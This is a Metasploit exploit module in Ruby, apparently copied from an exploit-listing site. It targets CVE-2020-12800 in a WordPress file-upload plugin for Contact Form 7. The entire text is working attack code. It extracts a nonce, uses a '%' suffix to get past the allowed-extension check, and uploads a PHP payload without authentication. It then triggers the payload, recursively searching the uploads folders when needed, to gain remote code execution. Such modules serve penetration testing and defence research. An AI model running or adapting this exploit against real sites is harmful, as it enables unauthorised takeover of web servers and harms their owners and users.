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## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/WP_DND_MUL_FILE_RCE
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Drag and Drop Multi File Uploader RCE',
        'Description' => %q{
          This module exploits a file upload feature of Drag and Drop Multi File
          Upload - Contact Form 7 for versions prior to 1.3.4.  The allowed file
          extension list can be bypassed by appending a %, allowing for php
          shells to be uploaded.
          No authentication is required for exploitation.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Austin Martin <amartin@amartinsec.com>' # original PoC, discovery
          ],
        'References' =>
          [
            ['EDB', '48520'],
            ['CVE', '2020-12800'],
            ['URL', 'https://github.com/amartinsec/CVE-2020-12800']
          ],
        'Platform' => ['php'],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'May 11 2020',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Wordpress', '/'])
      ]
    )
  end

  # recursively search uploads folder(s) to find our payload
  def find_payload(path, payload_name)
    return unless @payload_location.nil?

    path = normalize_uri(target_uri.path, path)
    print_status("Checking #{path}")
    res = send_request_cgi(
      'uri' => path
    )
    unless res
      vprint_error('Server didnt respond when attempting to trigger payload')
      return
    end
    if res.body.include? payload_name
      print_good("Found payload: #{path}#{payload_name}")
      @payload_location = "#{path}#{payload_name}"
      return
    end

    # /a href="([\w\-\/]+)"/.match(res.body) do |url|
    res.body.scan(%r{a href="([\w\-/]+)"}) do |url|
      if url[0].start_with? '/'
        # skip it, its the parent directory
      elsif url[0].end_with? '/'
        find_payload("#{path}#{url[0]}", payload_name)
      end
    end
  end

  def check
    begin
      return check_plugin_version_from_readme('drag-and-drop-multiple-file-upload-contact-form-7', '1.3.4', '1')
    rescue ::Rex::ConnectionError
      vprint_error('Could not connect to the web service')
      return CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def exploit
    vprint_status('Getting nonce')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path)
    )
    unless res
      fail_with(Failure::Unreachable, 'No server response')
    end

    if res.code != 200
      fail_with(Failure::UnexpectedReply, 'Non-200 response, check targeturi')
    end

    /ajax_nonce":"(?<nonce>.{10})"/ =~ res.body
    if nonce.nil?
      fail_with(Failure::UnexpectedReply, 'Nonce not found')
    end
    print_status("Nonce: #{nonce}")

    payload_name = "#{rand_text_alphanumeric(6..12)}.php"

    data = Rex::MIME::Message.new
    data.add_part('5242880', nil, nil, 'form-data; name="size_limit"')
    data.add_part('php%', nil, nil, 'form-data; name="supported_type"')
    data.add_part('dnd_codedropz_upload', nil, nil, 'form-data; name="action"')
    data.add_part('click', nil, nil, 'form-data; name="type"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'text/plain', nil, "form-data; name='upload-file'; filename='#{payload_name}%'")

    # grab our valid cookie
    cookie = res.get_cookies

    vprint_status('Attempting payload upload')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    unless res
      fail_with(Failure::Unreachable, 'No server response')
    end

    if res.code == 403
      fail_with(Failure::UnexpectedReply, '403 response, nonce detection failed')
    elsif res.code == 500
      fail_with(Failure::UnexpectedReply, '500 response, server misconfigured, may need php-mbstring')
    end
    print_good('Payload uploaded successfully')
    register_file_for_cleanup(payload_name)

    # first we attempt to trigger the most obvious location of the payload.
    print_status('Attempting to trigger at well known location')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wp_dndcf7_uploads', 'wpcf7-files', payload_name)
    )

    unless session_created?
      fail_with(Failure::Unreachable, 'No server response') unless res

      # dont need to check for 200, since that would have triggered our payload
      if res.code != 200
        print_status('Bruteforcing for payload to trigger')
        find_payload(normalize_uri(target_uri.path, 'wp-content', 'uploads', '/'), payload_name)
        unless @payload_location
          fail_with(Failure::Unknown, 'Unable to determine uploaded shell path')
        end
        # lastly, if we have a location found, trigger it
        send_request_cgi('uri' => @payload_location)
      end
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, 'Could not connect to the web service')
  end
end